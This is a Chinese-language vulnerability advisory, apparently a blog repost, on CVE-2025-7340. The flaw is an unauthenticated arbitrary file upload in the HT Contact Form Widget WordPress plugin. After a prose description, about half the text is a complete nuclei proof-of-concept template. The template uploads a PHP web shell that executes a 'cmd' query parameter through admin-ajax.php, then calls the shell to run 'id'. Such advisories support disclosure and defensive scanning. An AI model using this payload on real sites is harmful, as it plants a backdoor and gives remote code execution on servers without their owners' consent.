HT Contact Form Widget 未授权任意文件上传漏洞

漏洞信息

漏洞名称: HT Contact Form Widget 未授权任意文件上传漏洞

漏洞编号:

  • CVE: CVE-2025-7340

漏洞类型: 文件上传

漏洞等级: 严重

漏洞描述: HT Contact Form Widget是WordPress的一个插件,用于创建和管理联系表单。该插件广泛应用于需要用户反馈或联系的WordPress网站中。由于其易用性和功能性,许多网站管理员选择使用此插件来增强网站的用户互动能力。然而,该插件在版本2.2.1及之前存在一个严重的安全漏洞。该漏洞源于插件中的temp_file_upload函数缺乏对文件类型的适当验证,使得未经认证的攻击者能够上传任意文件到服务器。这一漏洞的技术根源在于服务器端未对上传的文件类型进行严格检查,导致攻击者可以上传恶意文件,如PHP脚本,进而可能导致远程代码执行(RCE)。由于攻击者无需任何认证即可利用此漏洞,因此其潜在的安全风险极高,可能导致网站被完全控制、数据泄露或其他恶意活动。此外,由于WordPress的广泛使用,此漏洞的影响范围可能非常广泛。

产品厂商: HT Contact Form Widget

产品名称: HT Contact Form Widget

影响版本: ≤ 2.2.1

来源: https://github.com/projectdiscovery/nuclei-templates/blob/15705879b846e3e0b683680cbdea4633a924ce85/http%2Fcves%2F2025%2FCVE-2025-7340.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

id: CVE-2025-7340

info:
name: HT Contact Form Widget <= 2.2.1 - Unauthenticated Arbitrary File Upload
author: pussycat0x
severity: critical
description: |
The HT Contact Form Widget plugin for WordPress (≤ v2.2.1) lacks proper file type validation in the temp_file_upload function. This allows unauthenticated attackers to upload arbitrary files to the server.
tags: cve,cve2025,wordpress,intrusive,rce,htcontact,plugin,file-upload

variables:
payload: '<?php echo "<br>"; if(isset($_GET["cmd"])){ echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; } ?>'
cmd: 'id'

flow: http(1) && http(2) && http(3)

http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}

matchers:
- type: word
part: body
internal: true
words:
- "wp-content/plugins/ht-contactform"

- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="action"

ht_form_temp_file_upload
------WebKitFormBoundary
Content-Disposition: form-data; name="_wpnonce"

{{randstr}}
------WebKitFormBoundary
Content-Disposition: form-data; name="form_id"

7
------WebKitFormBoundary
Content-Disposition: form-data; name="ht_form_file"; filename="{{randstr}}.php"
Content-Type: application/x-php

{{payload}}
------WebKitFormBoundary--

matchers-condition: and
matchers:
- type: word
part: body
internal: true
words:
- "wp-content/uploads/ht_form/temp"

- raw:
- |
GET /wp-content/uploads/ht_form/temp/{{randstr}}.php?cmd={{cmd}}
Host: {{Hostname}}

matchers:
- type: regex
part: body
regex:
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"



HT Contact Form Widget 未授权任意文件上传漏洞
http://example.com/2025/07/17/github_6634523/
作者
lianccc
发布于
2025年7月17日
许可协议